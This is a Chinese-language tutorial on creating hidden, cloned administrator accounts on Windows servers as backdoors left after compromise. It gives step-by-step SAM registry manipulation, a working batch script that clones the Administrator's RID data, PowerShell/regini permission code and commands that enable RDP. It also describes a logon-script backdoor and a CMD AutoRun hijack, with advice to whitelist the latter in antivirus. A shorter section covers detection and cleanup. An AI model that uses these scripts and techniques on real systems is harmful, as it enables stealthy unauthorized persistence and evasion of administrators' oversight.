当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
隐藏克隆账号
0x01 介绍
0x02 前言
0x03 实例演示
0x04 检测和清理方法
0x05 编写脚本实现思路
1、对注册表添加管理员帐户的编辑权限
2、直接获得System权限
0x06 结合远程桌面多用户登录的利用思路
1、复制管理员帐户Administrator
2、复制已有帐户
3、新建帐户再复制
4、原帐户的维持
0x07 防御
0x08 拓展知识
隐藏克隆用户,就是隐藏的,克隆administrator的用户,在拿下windows服务器之后,可以创建一个隐藏克隆用户,留下后门,超级嗨皮,本屌丝亲自测试,是OK的。
账户隐藏技术可谓是最隐蔽的后门,一般用户很难发现系统中隐藏账户的存在,因此危害性很大,本文就对隐藏账户这种黑客常用的技术进行揭密。
在隐藏系统账户之前,我们有必要先来了解一下如何才能查看系统中已经存在的账户。在系统中可以进入“命令提示符”,控制面板的“计算机管理”,“注册表” 中对存在的账户进行查看,而管理员一般只在“命令提示符”和“计算机管理”中检查是否有异常。
1. 建立简单隐藏账户
在建立用户帐户时,如果在用户名后面加上$符号,就可以建立一个简单的隐藏帐户,如“test$”。
在字符界面下执行net user命令,就无法查看到这个帐户,但是在图形界面的“本地用户和组”中仍然可以看到。
黑客在入侵了一台主机之后,一般都要想办法给自己留一个后门,而给自己加一个管理员组的帐户则是常用的手法。由于带“$”的帐户容易被发现,于是一些人就在帐户的显示名称上下功夫,建立一个看起来和系统帐户类似的名字来迷惑管理员,如admin、sysadmin、Billgates、root等。另外一种方法就是把普通用户组的用户帐户提升到管理员组中,例如把guest帐户加入到管理员组中。所以如果我们发现管理员组中多了一个没见过的帐户或者是普通用户组的帐户以及带$的帐户,那我们就应该意识到电脑可能被入侵了。
2. 安全标识符SID
在Windows系统中,系统会为每个用户账户建立一个唯一的安全标识符(Security Identifier,SID),在Windows系统的内部核心,都是利用SID而不是用户的账户名称来表示或识别每个用户的。
SID综合用户账户创立的时间以及用户名等信息创建,因而是唯一的,并且不会被重复使用。即使将某个用户账户删除之后,再添加一个相同名称的账户,它们的SID也不会相同,这个新建的账户也无法拥有原先账户的权限。
比如新建一个名为bob,密码为123的用户,以bob的身份登录系统,建一个文本文件test.txt并利用EFS方式将之加密。将系统用户切换到administrator,将bob用户删除,然后再新建一个bob用户,密码仍为123。用新建的bob用户登录系统,则无法打开加密文件test.txt,因为用户的SID已经变换了。
可以通过执行“whoami /all”命令查看系统当前用户的SID:
一个完整的SID由多个不同部分的信息组成,其中最后一部分称为相对标识符RID。RID是500的SID是系统内置Administrator账户,即使重命名,其RID仍保持为500不变,许多黑客正是通过RID找到真正的系统内置Administrator账户。RID为501的SID是Guest账户,后来新建的用户账户的RID都是从1000开始,如RID为1015的SID就是系统中创建的第15个用户账户。
3. 建立完全隐藏账户
下面我们通过伪造用户SID来创建一个完全隐藏的用户账户,伪造SID需要通过修改注册表实现。
首先建立一个简单的隐藏账户“super$”,然后展开注册表[HKEY_LOCAL_MACHINE\SAM\SAM],默认情况下这个项里没有任何内容,这是因为用户对它没有权限。在这个项的右键菜单里,为administrator用户赋予完全控制权限。
然后按F5键刷新,会看到里面多出2个子项。
在[SAM\Domains\Account\Users\Names]项里显示了系统当前存在的所有账户,选中super$,在其右侧有一个名为“默认”,类型为“0x3eb”的键值。其中的“3eb”就是super$用户SID的结尾,即RID(这里使用十六进制表示,将3eb转换成十进制就是1003)。
在[SAM\Domains\Account\Users]里有一个以“3EB”结尾的子项,这两个项里都是存放了用户super$的信息。
在这两个项上单击右键,执行“导出”命令,将这两个项的值分别导出成扩展名为.reg的注册表文件。
然后将super$用户删除,再次刷新注册表,此时上述两个项都没了。
下面再将刚才导出的两个注册表文件重新导入,此时在注册表里就有了super$账户的信息,但无论在命令行还是图形界面都无法看到这个账户,账户就被彻底隐藏了。
使用这个隐藏账户可以登录系统,但缺点是仍然会产生用户配置文件,下面再对这个账户做进一步处理,以使之完全隐藏。
还是展开到上面的注册表项中,找到administrator用户的RID值“1f4”,展开对应的“000001F4”项,其右侧有一个名为f的键值,这个键值中就存放了用户的SID。下面将这个键值的数据全部复制,并粘贴到“000003EB”项的f键值中,也就是将administrator用户的SID复制给了super$,这样在操作系统内部,实际上就把super$当做是administrator,super$成了administrator的影子账户,与其使用同一个用户配置文件,super$也就被彻底隐藏了。
建立隐藏账户是黑客比较喜欢的一种留后门方式,而且非常隐蔽,像上面的隐藏账户只能通过注册表来发现。
前言部分内容参考链接:http://cloud.51cto.com/art/201312/420629.htm
1. 首先我们看看,先在命令行输入如下命令
# 查看当前计算机中的用户
net user
# 其它NET USER命令
net user stu007 /add ---添加一个账户,用户名为stu007
net user stu007 ---查看用户的详细信息
net user stu007 110 ---为账户新增或者更改密码
net localgroup ---查看本地用户组
net localgroup /add administrators stu007 ---为账户新增一个用户组,提升账户权限
net user stu007 /active:[no|yes] ---禁用账户,或启用账户
net user stu007 /delete 或 net user stu007 /del ---删除该账户
2. 然后我们选择【我的电脑】——>右击选择【管理】——>选择【本地用户和组】——>选择【用户】 查看所有创建的用户
注:可以看到有Administrator、Guest、SUPPORT_388945a0,这几个是windows 2003 Server 默认创建的账户
注:DOS 命令窗口,先把刚刚我们输入的记录,清除掉。
用CLS 命令,清屏
CLS
接下来,我们开始演示怎么创建隐藏克隆用户。
3. cmd中创建一个新用户
net user moshi$ ce /add
在我的【计算机管理(本地)】下的【本地用户和组】看到刚刚创建的这个用户,当然直接在【计算机管理(本地)】下的【本地用户和组】这里添加用户也是一样的。
但是,要注意的是在用户名后门加个$,这样,在cmd里用net user 查看的时候,就看不到用户名了。($符号是表示在dos下面隐藏)
2. 更改注册表
当然这样隐藏肯定是不行的,接下来就要在计算机管理里隐藏,而且还没有赋予新用户权限,这就要更改注册表
按住WIN键 + R 快捷键打开【运行】 对话框
3. 在【运行】对话框里,输入regedit 打开注册表 HKEY_LOCAL_MACHINE\SAM\SAM,正常情况下,SAM下的内容默认是没有权限查看的(包括管理员),要右键SAM,选择权限,给管理员组分配权限,或者给自己分配权限
4. 点击【应用】,再点击【确定】按钮,成功分配权限后,按F5刷新后就可以看见SAM下的注册表信息了
5. 来到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users目录下,该目录存放着此电脑下所有的用户,想知道哪个是刚才新建的话,在Names里点一下刚才新建的用户名
在右边可以看到一个十六进制的数【类型为16进制的数】,该数就对应着这个用户。
另外,可以看到administrator对应的是1F4,转为十进制也就是500,Windows 2008 server、Windows xp、Windows10等一系列的系统都是一样的。
6. 将1F4(administrator)下的F键值全部选中(要从左上角刷到右下角),复制,然后粘贴(覆盖)到3EB下的F键中
Administrator 十六进制【类型】的数000001F4 的F键值类似如下图
moshi$ 十六进制【类型】的数000003EB 的F键值类似如下图
备注:我这里是000003EB,你可能是其它的值。但都是一样的操作。
7. 然后将以下两个注册表导出
选中要导出的注册表,右击【导出】
8. 接下来我们删除该用户,但因为用$隐藏了,cmd找不到。所以我们要到【计算机管理】下正常删除这个用户
可以看到现在【DOS命令窗口】、【计算机管理】和【注册表】中都没有了这个用户
9. 恢复注册表,接着将刚才导出的注册表,将注册表信息重新导入进去
选择【文件】——>选择【导入】选择刚刚导出的注册表
成功导入,点击【确定】
10. 然后将SAM权限取消掉
此时隐藏克隆账号创建完毕,计算机管理和cmd里没有了该用户,只有在注册表里有该用户。从下面图可以看到,DOS 命令窗口、【计算机管理】下本地用户和组都看不到之前创建的账号了。只有在注册表中才能看得到
11. 最后我们注销当前账号,试试刚刚隐藏的后门是否能成功登录Windows 2003 Server
12. 尝试用:
用户名:moshi$
密码:ce
看看是否能登录Windows 2003 Server?
13. 使用隐藏的账号和密码,成功登录。刺激的一批
那输入错误的账号和密码,看看会不会有提示?
注:可以看到,提示了2FAB236B42D048C\moshi$ 这个就是我们刚刚导入进去的注册表
14. 有一点要记住,就是清除最近访问过的文档。
使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
D盾_Web查杀 [webshell查杀] 传送门地址:http://www.d99net.net/
其它一些清理隐藏账户思路
隐藏账户的危害可谓十分巨大。因此我们有必要在了解了账户隐藏技术后,再对相应的防范技术作一个了解,把隐藏账户彻底请出系统,我这里总结了以下几种清理隐藏账户思路。
1、添加“$”符号型隐藏账户
对于这类隐藏账户的检测比较简单。一般黑客在利用这种方法建立完隐藏账户后,会把隐藏账户提升为管理员权限。那么我们只需要在“命令提示符”中输入“net localgroup administrators”就可以让所有的隐藏账户现形。如果嫌麻烦,可以直接打开“计算机管理”进行查看,添加“$”符号的账户是无法在这里隐藏的。2、修改注册表型隐藏账户
由于使用这种方法隐藏的账户是不会在“命令提示符”和“计算机管理”中看到的,因此可以到注册表中删除隐藏账户。来到“HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames”,把这里存在的账户和“计算机管理”中存在的账户进行比较,多出来的账户就是隐藏账户了。想要删除它也很简单,直接删除以隐藏账户命名的项即可。3、无法看到名称的隐藏账户
如果黑客制作了一个修改注册表型隐藏账户,在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道黑客建立的隐藏账户名称。不过世事没有绝对,我们可以借助“组策略”的帮助,让黑客无法通过隐藏账户登陆。点击“开始”→“运行”,输入“gpedit.msc”运行“组策略”,依次展开“计算机配置”→“Windows 设置”→“安全设置”→“本地策略”→“审核策略”,双击右边的“审核策略更改”,在弹出的设置窗口中勾选“成功”,然后点“确定”。对“审核登陆事件”和“审核过程追踪”进行相同的设置。4、开启登陆事件审核功能
进行登陆审核后,可以对任何账户的登陆操作进行记录,包括隐藏账户,这样我们就可以通过“计算机管理”中的“事件查看器”准确得知隐藏账户的名称,甚至黑客登陆的时间。即使黑客将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。5、通过事件查看器找到隐藏帐户
得知隐藏账户的名称后就好办了,但是我们仍然不能删除这个隐藏账户,因为我们没有权限。但是我们可以在“命令提示符”中输入“net user 隐藏账户名称 654321”更改这个隐藏账户的密码。这样这个隐藏账户就会失效,黑客无法再用这个隐藏账户登陆。参考链接:https://jingyan.baidu.com/article/4b52d7026de0e8fc5d774b7c.html
采用powershell脚本实现的两种思路:
使用regini注册ini文件为注册表及其子键赋予权限
注:
Powershell通过Set-Acl
为注册表赋予权限,示例代码:
$acl = Get-Acl HKLM:SAM\SAM\
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl
但不支持对子键的权限分配,因此不采用该方法
以下内容保存为a.ini:
HKEY_LOCAL_MACHINE\SAM\SAM\* [1 17]
注:
*
代表枚举所有子键
1代表Administrators 完全访问
17代表System 完全访问
详细权限说明可通过cmd执行regini
获取帮助
通过regini注册:
regini a.ini
Evilcg就是通过这种方式实现的,脚本地址:
https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1
注:
使用*
需要system权限,但只把相关的列举出来,只需要管理员权限即可,例如:
HKEY_LOCAL_MACHINE\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]
可以先获得System权限,进而拥有对注册表的编辑权限
简单的方式,通过Invoke-TokenManipulation.ps1
,地址如下:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
但我在测试时发现了一个bug,使用Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
无法将当前权限切换为System权限
但可以使用Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
新打开一个System权限的进程
接下来,就是编写脚本实现注册表的导出替换功能:
我的实现方法参照了Evilcg的最初始版本,做了细节上的优化,下载地址:
https://github.com/3gstudent/Windows-User-Clone
通过以上的介绍,可得出该方法的优点:
通过克隆的方式能够继承原帐户的权限
在利用上存在以下需要注意的问题:
需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态
在3389远程登录的利用上存在相同帐户的冲突关系
通过cmd开启本机的3389远程登录功能:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
利用以上方法,克隆帐户a的权限,建立隐藏帐户aaa$
如果系统当前登录帐号为a,那么使用隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线
进一步,大胆的思考
新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$
删除管理员帐户b,隐藏账户bbb$仍然有效
再进一步
克隆帐户a的权限,建立隐藏帐户aaa$
修改帐户a的密码,隐藏帐户aaa$仍然有效
针对隐藏帐户的利用,查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\
即可
当然,默认管理员权限无法查看,需要分配权限或是提升至Sytem权限
隐藏帐户的登录记录,可通过查看日志获取
这是网上找的别人写的批处理创建后门的代码
echo off
setlocal enabledelayedexpansion
echo %computername%
echo HKEY_LOCAL_MACHINE\SAM\SAM [1 17] >”%windir%\..\1.reg”
regini “%windir%\..\1.reg”
regedit /e “%windir%\..\1.reg” HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\IUSR_%computername%
rem unicode ->ascii
type “%windir%\..\1.reg” >”%windir%\..\2.reg”
del /q “%windir%\..\1.reg”
rem find IUSR_%computername% 的对应id
for /F “delims=( tokens=1-5* skip=3″ %%a in (%windir%\..\2.reg) do set iusr_id=%%b
del /q “%windir%\..\2.reg”
rem export administrator register
regedit /e “%windir%\..\1.reg” HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users00001F4
type “%windir%\..\1.reg” >”%windir%\..\2.reg”
del /q “%windir%\..\1.reg”
rem replace 1fx->iusr_id
for /f “tokens=* delims=:” %%i in (%windir%\..\2.reg) do (
for /f “tokens=*” %%j in (“%%i”) do (
set TMP=%%j
set “TMP=!TMP:000001F4=00000%iusr_id:~0,3%!”
echo !TMP!>>%windir%\..\1.reg
)
)
regedit /s %windir%\..\1.reg
del /q %windir%\..\1.reg
del /q %windir%\..\2.reg
echo HKEY_LOCAL_MACHINE\SAM\SAM [17] >”%windir%\..\1.reg”
regini “%windir%\..\1.reg”
del /q “%windir%\..\1.reg”
net user IUSR_%computername% 12345678
注:HideAdmin 工具是为创建一个shadow Administrator帐户编写的,你只能在windows注册表中看到它,而且这个工具需要Adminitrator权限,你可以使用绕过UAC技术。
例如:
上面的方法可以很好得隐藏账户,但是操作显得比较麻烦,并不适合新手,而且对注册表进行操作危险性太高,很容易造成系统崩溃。因此我们可以借助专门的账户隐藏工具来进行隐藏工作,使隐藏账户不再困难,只需要一个命令就可以搞定。
我们需要利用的这款工具名叫“HideAdmin”,下载下来后解压到c盘。然后运行“命令提示符”,输入“HideAdmin piao$Content$nbsp;123456”即可,如果显示“Create a hiden Administrator piao$Content$nbsp;Successed!”,则表示我们已经成功建立一个账户名为piao$,密码为123456的隐藏账户。利用这款工具建立的账户隐藏效果和上文中修改注册表的效果是一样的。
Windows 永久后门
将下面内容存为1.bat @echo off net user admin 123456 /add net localgroup administrators admin /add 注释:前面名字随便,后面格式一定要是bat; 把这个文件拷贝到对方电脑C:\WINDOWS\system32\GroupPolicy\User\Scripts\Logon文件目录下,没有的话自己创建。(或任意目录下,但都必须将文件路径添加到组策略》用户配置》Windows设置》登录(脚本)》登录属性的文件添加)
如果将1.bat内容改为 @echo off net user administrator 123456 那么每次有管理员组用户登录就会将administrator的密码改为123456
另外一种命令行截持重建帐号的方法:(注:3fb.reg中的"F"键值对需覆盖为1F4.reg中的"F"键值对) 将已在注册中克隆好的帐号分别导出一份,比如"admin$.reg"和"3fb.reg"复制c:\windows\目录下,然后在同目录下建立一个cmd.vbs脚本内容如下: On Error Resume Next set shell_member=wscript.createobject("wscript.shell") shell_member.run "regedit.exe /s admin$.reg",0 shell_member.run "regedit.exe /s 3fb.reg",0 注释 # 0 表示窗口隐藏后台执行 在注册表中这个项KEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun里AutoRun键值中输入我们的脚本路径就OK。 (这个项起的作用是只要管理员组用户再一次重新打开CMD自动运行我们编辑好的脚本文件) 提示:360安全卫士能查的出来显示为“命令行截持”,把它加入信任了就没事了 注:此法需要开启hklm\sam\sam中最后一个sam的管理员组完全控制权
传送门地址:https://github.com/binlmmhc/HideAdmin
参考链接:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/
https://www.jianshu.com/p/4df75b561999
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重